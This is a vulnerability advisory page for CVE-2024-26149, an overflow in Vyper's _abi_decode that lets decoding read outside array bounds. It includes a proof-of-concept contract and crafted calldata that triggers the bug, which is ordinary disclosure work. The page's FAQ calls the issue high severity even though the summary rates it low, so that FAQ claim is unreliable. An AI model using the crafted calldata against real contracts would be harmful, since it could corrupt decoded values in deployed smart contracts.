CVE-2024-26149: Vyper _abi_decode Memory Overflow
First published: Mon Feb 26 2024(Updated: )
## Summary If an excessively large value is specified as the starting index for an array in `_abi_decode`, it can cause the read position to overflow. This results in the decoding of values outside the intended array bounds, potentially leading to bugs in contracts that use arrays within `_abi_decode`. The advisory has been assigned low severity, because it is only observable if there is a memory write between two invocations of `abi_decode` on the same input. ## Proof of Concept ```vyper event Pwn: pass @external def f(x: Bytes[32 * 3]): a: Bytes[32] = b"foo" y: Bytes[32 * 3] = x decoded_y1: Bytes[32] = _abi_decode(y, Bytes[32]) a = b"bar" decoded_y2: Bytes[32] = _abi_decode(y, Bytes[32]) if decoded_y1 != decoded_y2: log Pwn() ``` Sending the following calldata results in `Pwn` being emitted. ``` 0xd45754f8 0000000000000000000000000000000000000000000000000000000000000020 0000000000000000000000000000000000000000000000000000000000000060 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa0 ``` ### Patches Patched in https://github.com/vyperlang/vyper/pull/3925, https://github.com/vyperlang/vyper/pull/4091, https://github.com/vyperlang/vyper/pull/4144, https://github.com/vyperlang/vyper/pull/4060.
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| pip/vyper | <0.4.0 | 0.4.0 |
| Vyper | <=0.3.10 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
- https://github.com/vyperlang/vyper/security/advisories/GHSA-9p8r-4xp4-gw5w
- https://nvd.nist.gov/vuln/detail/CVE-2024-26149
- https://github.com/advisories/GHSA-9p8r-4xp4-gw5w (Advisory)
- https://github.com/vyperlang/vyper/pull/3925
- https://github.com/vyperlang/vyper/pull/4060
- https://github.com/vyperlang/vyper/pull/4091
- https://github.com/vyperlang/vyper/pull/4144
- https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2024-164.yaml
Frequently Asked Questions
What is the severity of CVE-2024-26149?
CVE-2024-26149 has a high severity due to potential overflow when decoding array values.
How do I fix CVE-2024-26149?
To fix CVE-2024-26149, upgrade to Vyper version 0.4.0 or higher.
What types of software are affected by CVE-2024-26149?
CVE-2024-26149 affects Vyper versions up to and including 0.3.10.
Can CVE-2024-26149 lead to security risks?
Yes, CVE-2024-26149 can lead to bugs in smart contracts, resulting in potential security vulnerabilities.
What impact does CVE-2024-26149 have on decentralized applications?
CVE-2024-26149 can undermine the reliability of decentralized applications by causing unintended behavior in array handling.
- agent/title
- agent/type
- agent/weakness
- agent/first-publish-date
- agent/author
- collector/epss-latest
- source/FIRST
- agent/epss
- agent/description
- collector/mitre-cve
- source/MITRE
- agent/trending
- agent/remedy
- agent/severity
- collector/github-advisory-latest
- source/GitHub
- alias/GHSA-9p8r-4xp4-gw5w
- alias/CVE-2024-26149
- agent/software-canonical-lookup
- agent/last-modified-date
- agent/references
- agent/softwarecombine
- agent/event
- agent/source
- agent/tags
- collector/github-advisory
- collector/nvd-api
- source/NVD
- agent/software-canonical-lookup-request
- collector/nvd-cve
- package-manager/pip
- vendor/vyperlang
- canonical/vyper
- version/vyper/0.3.10